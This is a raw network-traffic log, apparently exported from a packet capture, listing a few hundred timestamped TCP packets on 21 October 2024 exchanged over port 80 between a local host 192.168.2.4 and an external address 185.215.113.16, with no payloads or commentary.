Oct 21, 2024 10:46:25.284751892 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284759998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284770966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284780025 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284780979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284790993 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284791946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284805059 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284815073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284825087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284831047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284842014 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284852982 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284857035 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284872055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284879923 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284883976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284895897 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284899950 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284907103 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284918070 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284923077 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284929037 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284939051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284950018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284960032 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284967899 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284971952 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284985065 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.284990072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.284995079 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285006046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285013914 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285026073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285037041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285044909 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285048962 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285059929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285063982 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285070896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285084009 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285094976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285094976 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285105944 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285118103 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285119057 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285140991 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285150051 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285177946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285190105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285198927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285211086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285223007 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285223007 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285243988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285248995 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285257101 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285267115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285278082 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285284996 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285289049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285301924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285311937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285315037 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285322905 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285334110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285339117 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285346031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285350084 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285356998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285367966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285371065 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285387993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285399914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285406113 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285413980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285424948 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285437107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285438061 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285449028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285456896 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285459995 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285470963 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285481930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285485029 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285495043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285506010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285507917 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285516024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285516977 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285530090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285554886 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285563946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285574913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285583019 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285586119 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285598040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285607100 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285617113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285629034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285628080 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285640955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285651922 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285661936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285662889 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285672903 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285674095 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285685062 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285696030 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285705090 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285706043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285723925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285727024 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285737991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285743952 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285749912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285768986 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285779953 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285790920 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285792112 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285801888 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285813093 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285820961 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285824060 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285830975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285840034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285845041 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285851955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285861969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285870075 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285872936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285882950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285896063 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285902023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285908937 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.285912991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285919905 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285924911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285929918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285934925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285939932 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285945892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285949945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285955906 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285960913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.285972118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286041021 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286068916 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286078930 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286081076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286092997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286103964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286106110 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286114931 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286127090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286132097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286137104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286139965 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286147118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286159039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286169052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286179066 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286180973 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286191940 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286201000 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286211014 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286231041 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286231041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286250114 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286261082 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286271095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286282063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286294937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286295891 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286307096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286317110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286328077 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286333084 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286338091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286340952 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286349058 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286360979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286371946 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286381006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286393881 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286397934 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286408901 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286415100 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286421061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286431074 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286439896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286449909 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286456108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286459923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286473036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286482096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286485910 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286493063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286504030 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286514044 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286514997 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286515951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286525965 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286535978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286552906 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286556959 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286576033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286588907 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286592960 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286600113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286606073 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286611080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286623001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286634922 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286643982 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286648035 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286655903 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286667109 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286676884 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286683083 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286689997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286691904 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286711931 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286720991 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286729097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286739111 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286742926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286753893 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286762953 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286763906 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286775112 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286782026 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286786079 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286798000 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286808014 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286817074 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286819935 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286829948 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286844969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286853075 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286855936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286869049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286878109 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286887884 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286896944 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286907911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286919117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286926985 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286926985 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286927938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286940098 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286947012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286957026 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286957979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286969900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286979914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.286981106 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.286989927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287000895 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287010908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287019014 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287023067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287034035 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287043095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287053108 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287056923 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287064075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287069082 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287075996 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287092924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287105083 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287111998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287115097 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287122965 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287132978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287138939 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287144899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287154913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287163019 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287166119 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287177086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287187099 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287188053 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287206888 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287218094 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287223101 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287226915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287230968 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287237883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287249088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287266016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287270069 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287276983 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287287951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287293911 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287298918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287309885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287321091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287321091 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287329912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287339926 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287339926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287353039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287363052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287365913 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287374020 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287377119 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287389994 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287401915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287404060 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287415028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287431955 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287439108 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287445068 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287450075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287467003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287477016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287477016 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287487030 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287499905 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287509918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287512064 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287520885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287530899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287540913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287549019 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287550926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287559986 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287563086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287592888 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.287592888 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287607908 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.287611961 CEST	80	49745	185.215.113.16	192.168.2.4
